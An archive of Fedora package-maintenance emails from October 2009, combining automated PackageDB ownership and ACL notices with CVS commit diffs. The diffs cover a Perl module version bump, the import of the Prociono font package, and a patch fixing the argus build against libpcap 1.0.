Message-ID: <20091004051839.9A29E10F871@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora devel is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Sun Oct  4 05:18:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 05:18:47 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091004051847.4812E10F871@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 10 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Sun Oct  4 05:18:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 05:18:50 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091004051850.CEB8510F8A3@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 12 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pspp



From pkgdb at fedoraproject.org  Sun Oct  4 05:18:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 05:18:49 +0000
Subject: [pkgdb] pspp ownership updated
Message-ID: <20091004051849.6612410F892@bastion2.fedora.phx.redhat.com>

Package pspp in Fedora 11 is now owned by peter

To make changes to this package see:
  /pkgdb/packages/name/pspp



From yaneti at fedoraproject.org  Sun Oct  4 05:27:52 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Sun,  4 Oct 2009 05:27:52 +0000 (UTC)
Subject: rpms/perl-POE-Component-Log4perl/devel .cvsignore, 1.2,
	1.3 perl-POE-Component-Log4perl.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091004052752.B9FE211C00E5@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/perl-POE-Component-Log4perl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv964

Modified Files:
	.cvsignore perl-POE-Component-Log4perl.spec sources 
Log Message:
0.03-1
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	4 Jun 2009 16:34:29 -0000	1.2
+++ .cvsignore	4 Oct 2009 05:27:52 -0000	1.3
@@ -1 +1 @@
-POE-Component-Log4perl-0.02.tar.gz
+POE-Component-Log4perl-0.03.tar.gz


Index: perl-POE-Component-Log4perl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/devel/perl-POE-Component-Log4perl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-POE-Component-Log4perl.spec	26 Jul 2009 13:58:19 -0000	1.3
+++ perl-POE-Component-Log4perl.spec	4 Oct 2009 05:27:52 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           perl-POE-Component-Log4perl
-Version:        0.02
-Release:        5%{?dist}
+Version:        0.03
+Release:        1%{?dist}
 Summary:        Logging extension for the POE environment
 
 Group:          Development/Libraries
@@ -51,6 +51,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct  4 2009 Yanko Kaneti <yaneti at declera.com> - 0.03-1
+- New upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.02-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	4 Jun 2009 16:34:29 -0000	1.2
+++ sources	4 Oct 2009 05:27:52 -0000	1.3
@@ -1 +1 @@
-b924a49f1ca803b7f7894cbef445c56e  POE-Component-Log4perl-0.02.tar.gz
+c821535938fab67d2195663e11867daa  POE-Component-Log4perl-0.03.tar.gz



From yaneti at fedoraproject.org  Sun Oct  4 05:37:08 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Sun,  4 Oct 2009 05:37:08 +0000 (UTC)
Subject: rpms/perl-POE-Component-Log4perl/F-12 .cvsignore, 1.2,
	1.3 perl-POE-Component-Log4perl.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091004053708.4394311C00E5@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/perl-POE-Component-Log4perl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3008

Modified Files:
	.cvsignore perl-POE-Component-Log4perl.spec sources 
Log Message:
0.03-1
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	4 Jun 2009 16:34:29 -0000	1.2
+++ .cvsignore	4 Oct 2009 05:37:07 -0000	1.3
@@ -1 +1 @@
-POE-Component-Log4perl-0.02.tar.gz
+POE-Component-Log4perl-0.03.tar.gz


Index: perl-POE-Component-Log4perl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/F-12/perl-POE-Component-Log4perl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- perl-POE-Component-Log4perl.spec	26 Jul 2009 13:58:19 -0000	1.3
+++ perl-POE-Component-Log4perl.spec	4 Oct 2009 05:37:07 -0000	1.4
@@ -1,6 +1,6 @@
 Name:           perl-POE-Component-Log4perl
-Version:        0.02
-Release:        5%{?dist}
+Version:        0.03
+Release:        1%{?dist}
 Summary:        Logging extension for the POE environment
 
 Group:          Development/Libraries
@@ -51,6 +51,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Oct  4 2009 Yanko Kaneti <yaneti at declera.com> - 0.03-1
+- New upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.02-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-POE-Component-Log4perl/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	4 Jun 2009 16:34:29 -0000	1.2
+++ sources	4 Oct 2009 05:37:07 -0000	1.3
@@ -1 +1 @@
-b924a49f1ca803b7f7894cbef445c56e  POE-Component-Log4perl-0.02.tar.gz
+c821535938fab67d2195663e11867daa  POE-Component-Log4perl-0.03.tar.gz



From pkgdb at fedoraproject.org  Sun Oct  4 04:40:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:40:39 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044039.BAD6C10F8AF@bastion2.fedora.phx.redhat.com>

james has set the commit acl on python (Fedora devel) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:20 +0000
Subject: [pkgdb] python ownership updated
Message-ID: <20091004044220.E550C10F890@bastion2.fedora.phx.redhat.com>

Package python in Fedora 12 is now owned by james

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:05 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044205.B694E10F8A4@bastion2.fedora.phx.redhat.com>

james has set the commit acl on python (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:41:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:41:53 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044153.9BDC310F892@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora 9) to Obsolete for katzj

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:04 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044204.8AB9110F892@bastion2.fedora.phx.redhat.com>

james has set the approveacls acl on python (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From pkgdb at fedoraproject.org  Sun Oct  4 04:42:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 04:42:10 +0000
Subject: [pkgdb] python had acl change status
Message-ID: <20091004044210.1B5CF10F894@bastion2.fedora.phx.redhat.com>

james has set the watchbugzilla acl on python (Fedora 12) to Approved for dmalcolm

To make changes to this package see:
  /pkgdb/packages/name/python



From ankursinha at fedoraproject.org  Sun Oct  4 04:33:18 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Sun,  4 Oct 2009 04:33:18 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.276, 1.277 comps-f11.xml.in, 1.303,
	1.304 comps-f12.xml.in, 1.142, 1.143
Message-ID: <20091004043318.8F32E11C00E5@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20659

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
Log Message:
* Sun Oct 4 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- Initial cvs commit for oflb-prociono-fonts



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.276
retrieving revision 1.277
diff -u -p -r1.276 -r1.277
--- comps-f10.xml.in	27 Sep 2009 00:51:41 -0000	1.276
+++ comps-f10.xml.in	4 Oct 2009 04:33:13 -0000	1.277
@@ -1512,6 +1512,7 @@
       <packagereq type="optional">myanmar3-unicode-fonts</packagereq>
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-notcouriersans-fonts</packagereq>
+      <packagereq type="optional">oflb-prociono-fonts</packagereq>
       <packagereq type="optional">oldstandard-sfd-fonts</packagereq>
       <packagereq type="optional">roadstencil-fonts</packagereq>
       <packagereq type="optional">samyak-fonts-devanagari</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- comps-f11.xml.in	29 Sep 2009 17:12:09 -0000	1.303
+++ comps-f11.xml.in	4 Oct 2009 04:33:14 -0000	1.304
@@ -1796,6 +1796,7 @@
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>
       <packagereq type="optional">oflb-notcouriersans-fonts</packagereq>
+      <packagereq type="optional">oflb-prociono-fonts</packagereq>
       <packagereq type="optional">oflb-riordonfancy-fonts</packagereq>
       <packagereq type="optional">oldstandard-sfd-fonts</packagereq>
       <packagereq type="optional">openoffice.org-opensymbol-fonts</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- comps-f12.xml.in	2 Oct 2009 15:02:30 -0000	1.142
+++ comps-f12.xml.in	4 Oct 2009 04:33:14 -0000	1.143
@@ -1958,6 +1958,7 @@
       <packagereq type="optional">nafees-web-naskh-fonts</packagereq>
       <packagereq type="optional">oflb-goudy-bookletter-1911-fonts</packagereq>
       <packagereq type="optional">oflb-notcouriersans-fonts</packagereq>
+      <packagereq type="optional">oflb-prociono-fonts</packagereq>
       <packagereq type="optional">oflb-riordonfancy-fonts</packagereq>
       <packagereq type="optional">oldstandard-sfd-fonts</packagereq>
       <packagereq type="optional">openoffice.org-opensymbol-fonts</packagereq>



From ankursinha at fedoraproject.org  Sun Oct  4 04:57:54 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Sun,  4 Oct 2009 04:57:54 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/F-12 import.log, NONE,
	1.1 oflb-prociono-fonts-fontconfig.conf, NONE,
	1.1 oflb-prociono-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091004045754.D98E311C00E5@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26907/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log oflb-prociono-fonts-fontconfig.conf 
	oflb-prociono-fonts.spec 
Log Message:
* Sun Oct 4 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- initial cvs commit



--- NEW FILE import.log ---
oflb-prociono-fonts-20090715-2_fc11:F-12:oflb-prociono-fonts-20090715-2.fc11.src.rpm:1254632159


--- NEW FILE oflb-prociono-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Prociono</family>
    </prefer>
  </alias>
  <alias>
    <family>Prociono</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-prociono-fonts.spec ---
%global	fontname	oflb-prociono
%global fontconf	62-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	20090715
Release:	2%{?dist}
Summary:	A text roman with standard and discretionary ligatures, class-based kerning 
Group:		User Interface/X
License:	Public Domain
URL:		http://openfontlibrary.org/media/files/chemoelectric/206
Source0:	http://openfontlibrary.org/people/chemoelectric/chemoelectric_-_Prociono.zip
Source1:	%{name}-fontconfig.conf

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:	noarch
BuildRequires:	fontforge,fontpackages-devel
Requires:	fontpackages-filesystem

%description
A serif font created by Barry Schwartz

The name is pronounced "pro-tsee-O-no" and is Esperanto for 
either "raccoon" or the star Procyon. The author prefers to 
think of this font as a raccoon.

%prep
%setup -qc -n chemoelectric_-_Prociono.zip

%build
fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 755 -d %{buildroot}%{_fontdir}
install -m 644 -p *.ttf %{buildroot}%{_fontdir}

install -m 755 -d %{buildroot}%{_fontconfig_templatedir} \
		%{buildroot}%{_fontconfig_confdir}

install -m 644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
	%{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -rf %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc LICENSE

%changelog
* Tue Sep 29 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 20090715-2
- Made changes according to bugzilla #512079
* Thu Jul 16 2009 Ankur Sinha <ankursinha at fedoraproject.org>
- 20090715-1
- Initial RPM build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:31:23 -0000	1.1
+++ .cvsignore	4 Oct 2009 04:57:54 -0000	1.2
@@ -0,0 +1 @@
+chemoelectric_-_Prociono.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:31:24 -0000	1.1
+++ sources	4 Oct 2009 04:57:54 -0000	1.2
@@ -0,0 +1 @@
+9348a003073fda8723fc49c921b1efa8  chemoelectric_-_Prociono.zip



From ankursinha at fedoraproject.org  Sun Oct  4 04:16:15 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Sun,  4 Oct 2009 04:16:15 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/F-11 import.log, NONE,
	1.1 oflb-prociono-fonts-fontconfig.conf, NONE,
	1.1 oflb-prociono-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091004041615.BF23411C00E5@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7464/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log oflb-prociono-fonts-fontconfig.conf 
	oflb-prociono-fonts.spec 
Log Message:
* Sun Oct 4 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 20090715-2
- initial cvs commit



--- NEW FILE import.log ---
oflb-prociono-fonts-20090715-2_fc11:F-11:oflb-prociono-fonts-20090715-2.fc11.src.rpm:1254629631


--- NEW FILE oflb-prociono-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Prociono</family>
    </prefer>
  </alias>
  <alias>
    <family>Prociono</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE oflb-prociono-fonts.spec ---
%global	fontname	oflb-prociono
%global fontconf	62-%{fontname}.conf

Name:		%{fontname}-fonts
Version:	20090715
Release:	2%{?dist}
Summary:	A text roman with standard and discretionary ligatures, class-based kerning 
Group:		User Interface/X
License:	Public Domain
URL:		http://openfontlibrary.org/media/files/chemoelectric/206
Source0:	http://openfontlibrary.org/people/chemoelectric/chemoelectric_-_Prociono.zip
Source1:	%{name}-fontconfig.conf

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:	noarch
BuildRequires:	fontforge,fontpackages-devel
Requires:	fontpackages-filesystem

%description
A serif font created by Barry Schwartz

The name is pronounced "pro-tsee-O-no" and is Esperanto for 
either "raccoon" or the star Procyon. The author prefers to 
think of this font as a raccoon.

%prep
%setup -qc -n chemoelectric_-_Prociono.zip

%build
fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 755 -d %{buildroot}%{_fontdir}
install -m 644 -p *.ttf %{buildroot}%{_fontdir}

install -m 755 -d %{buildroot}%{_fontconfig_templatedir} \
		%{buildroot}%{_fontconfig_confdir}

install -m 644 -p %{SOURCE1} \
	%{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
	%{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -rf %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc LICENSE

%changelog
* Tue Sep 29 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 20090715-2
- Made changes according to bugzilla #512079
* Thu Jul 16 2009 Ankur Sinha <ankursinha at fedoraproject.org>
- 20090715-1
- Initial RPM build.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:31:23 -0000	1.1
+++ .cvsignore	4 Oct 2009 04:16:15 -0000	1.2
@@ -0,0 +1 @@
+chemoelectric_-_Prociono.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/oflb-prociono-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:31:24 -0000	1.1
+++ sources	4 Oct 2009 04:16:15 -0000	1.2
@@ -0,0 +1 @@
+9348a003073fda8723fc49c921b1efa8  chemoelectric_-_Prociono.zip



From kkofler at fedoraproject.org  Sun Oct  4 06:22:56 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:22:56 +0000 (UTC)
Subject: rpms/argus/devel argus.spec,1.12,1.13
Message-ID: <20091004062256.60B1711C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17980/devel

Modified Files:
	argus.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/devel/argus.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- argus.spec	30 Sep 2009 13:35:20 -0000	1.12
+++ argus.spec	4 Oct 2009 06:22:55 -0000	1.13
@@ -1,6 +1,6 @@
 Name: argus
 Version: 2.0.6.fixes.1
-Release: 18%{?dist}
+Release: 19%{?dist}
 Summary: Network transaction audit tool
 License: GPLv2+
 Group: Applications/Internet
@@ -38,6 +38,9 @@ Clients to the argus probe which process
 %setup -a1
 %patch0 -p1
 %patch1 -p1
+# bpf_dump conflicts with a function with slightly different prototype (added
+# const) in libpcap 1.0
+sed -i -e s/bpf_dump/internal_bpf_dump/g include/argus_filter.h common/argus_{filter,parse}.c
 pushd %{name}-clients-%{version}
 %patch2 -p1
 %patch3 -p1
@@ -123,6 +126,9 @@ fi
 %{_mandir}/man5/ra*
 
 %changelog
+* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
+- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)
+
 * Wed Sep 30 2009 Gabriel Somlo <somlo at cmu.edu> - 2.0.6.fixes.1-18
 - Rebuilt for libpcap.1.0
 



From kkofler at fedoraproject.org  Sun Oct  4 06:22:56 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:22:56 +0000 (UTC)
Subject: rpms/argus/F-12 argus.spec,1.11,1.12
Message-ID: <20091004062256.5D70211C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17980/F-12

Modified Files:
	argus.spec 
Log Message:
* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/F-12/argus.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- argus.spec	24 Jul 2009 17:03:06 -0000	1.11
+++ argus.spec	4 Oct 2009 06:22:54 -0000	1.12
@@ -1,6 +1,6 @@
 Name: argus
 Version: 2.0.6.fixes.1
-Release: 17%{?dist}
+Release: 19%{?dist}
 Summary: Network transaction audit tool
 License: GPLv2+
 Group: Applications/Internet
@@ -38,6 +38,9 @@ Clients to the argus probe which process
 %setup -a1
 %patch0 -p1
 %patch1 -p1
+# bpf_dump conflicts with a function with slightly different prototype (added
+# const) in libpcap 1.0
+sed -i -e s/bpf_dump/internal_bpf_dump/g include/argus_filter.h common/argus_{filter,parse}.c
 pushd %{name}-clients-%{version}
 %patch2 -p1
 %patch3 -p1
@@ -123,6 +126,12 @@ fi
 %{_mandir}/man5/ra*
 
 %changelog
+* Sun Oct 04 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.6.fixes.1-19
+- Fix build with libpcap 1.0 (rename conflicting bpf_dump symbol)
+
+* Wed Sep 30 2009 Gabriel Somlo <somlo at cmu.edu> - 2.0.6.fixes.1-18
+- Rebuilt for libpcap.1.0
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.6.fixes.1-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Sun Oct  4 06:45:16 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sun,  4 Oct 2009 06:45:16 +0000 (UTC)
Subject: rpms/argus/F-12 argus-2.0.6.fixes.1-libpcap10.patch, NONE,
	1.1 argus.spec, 1.12, 1.13
Message-ID: <20091004064516.47E1711C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/argus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25741/F-12

Modified Files:
	argus.spec 
Added Files:
	argus-2.0.6.fixes.1-libpcap10.patch 
Log Message:
Don't try sedding argus_parse.c which is already removed by a previous patch.
Use patch instead of sed to stop exporting the conflicting function entirely (as argus_parse.c was the only user outside of argus_filter.c itself).

argus-2.0.6.fixes.1-libpcap10.patch:
 common/argus_filter.c  |   14 +++++++-------
 include/argus_filter.h |    4 ----
 2 files changed, 7 insertions(+), 11 deletions(-)

--- NEW FILE argus-2.0.6.fixes.1-libpcap10.patch ---
diff -ur argus-2.0.6.fixes.1/common/argus_filter.c argus-2.0.6.fixes.1-libpcap10/common/argus_filter.c
--- argus-2.0.6.fixes.1/common/argus_filter.c	2004-05-10 15:29:10.000000000 +0200
+++ argus-2.0.6.fixes.1-libpcap10/common/argus_filter.c	2009-10-04 08:41:35.000000000 +0200
@@ -3106,6 +3106,8 @@
 }
 
 #ifdef BDEBUG
+static void bpf_dump_internal(struct bpf_program *p, int option);
+
 opt_dump(root)
    struct block *root;
 {
@@ -3113,7 +3115,7 @@
 
    memset(bids, 0, sizeof bids);
    f.bf_insns = Argusicode_to_fcode(root, &f.bf_len);
-   bpf_dump(&f, 1);
+   bpf_dump_internal(&f, 1);
    putchar('\n');
    free((char *)f.bf_insns);
 }
@@ -3603,6 +3605,7 @@
 
 
 
+#ifdef BDEBUG
 /*
  * Copyright (c) 1992, 1993, 1994
  *   The Regents of the University of California.  All rights reserved.
@@ -3628,10 +3631,8 @@
 
 #include <stdio.h>
 
-extern void bpf_dump(struct bpf_program *, int);
-
-void
-bpf_dump(struct bpf_program *p, int option)
+static void
+bpf_dump_internal(struct bpf_program *p, int option)
 {
    struct bpf_insn *insn;
    int i;
@@ -3653,13 +3654,12 @@
       return;
    }
    for (i = 0; i < n; ++insn, ++i) {
-#ifdef BDEBUG
       extern int bids[];
       printf(bids[i] > 0 ? "[%02d]" : " -- ", bids[i] - 1);
-#endif
       puts(Argusbpf_image(insn, i));
    }
 }
+#endif
 
 /*
  * Copyright (c) 1990, 1991, 1992, 1993, 1994
diff -ur argus-2.0.6.fixes.1/include/argus_filter.h argus-2.0.6.fixes.1-libpcap10/include/argus_filter.h
--- argus-2.0.6.fixes.1/include/argus_filter.h	2004-02-23 16:00:36.000000000 +0100
+++ argus-2.0.6.fixes.1-libpcap10/include/argus_filter.h	2009-10-04 08:37:48.000000000 +0200
@@ -142,8 +142,6 @@
 u_int ipaddrtonetmask(u_int);
 u_int getnetnumber(u_int);
 
-void bpf_dump(struct bpf_program *, int);
-
 char *intoa(u_int);
 static SIGRET nohostname(int);
 char * getname(u_char *);
@@ -225,8 +223,6 @@
 extern u_int ipaddrtonetmask(u_int);
 extern u_int getnetnumber(u_int);
 
-extern void bpf_dump(struct bpf_program *, int);
-
 extern char *intoa(u_int);
 extern char * getname(u_char *);
 


Index: argus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/argus/F-12/argus.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- argus.spec	4 Oct 2009 06:22:54 -0000	1.12
+++ argus.spec	4 Oct 2009 06:45:15 -0000	1.13
@@ -11,9 +11,12 @@ Source2: argus.init
 Source3: README.fedora
 Patch0: argus-2.0.6.fixes.1-makefile.patch
 Patch1: argus-2.0.6.fixes.1-build.patch
-Patch2: argus-clients-2.0.6.fixes.1-makefile.patch
-Patch3: argus-clients-2.0.6.fixes.1-build.patch
-Patch4: argus-clients-2.0.6.fixes.1-print.patch
+# bpf_dump conflicts with a function with slightly different prototype (added
+# const) in libpcap 1.0
+Patch2: argus-2.0.6.fixes.1-libpcap10.patch
+Patch3: argus-clients-2.0.6.fixes.1-makefile.patch
+Patch4: argus-clients-2.0.6.fixes.1-build.patch
+Patch5: argus-clients-2.0.6.fixes.1-print.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/chkconfig
@@ -38,13 +41,11 @@ Clients to the argus probe which process
 %setup -a1
 %patch0 -p1
 %patch1 -p1
-# bpf_dump conflicts with a function with slightly different prototype (added
-# const) in libpcap 1.0
-sed -i -e s/bpf_dump/internal_bpf_dump/g include/argus_filter.h common/argus_{filter,parse}.c
-pushd %{name}-clients-%{version}
 %patch2 -p1
+pushd %{name}-clients-%{version}
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 popd
 %{__install} -p -m 0644 %{SOURCE3} .
 



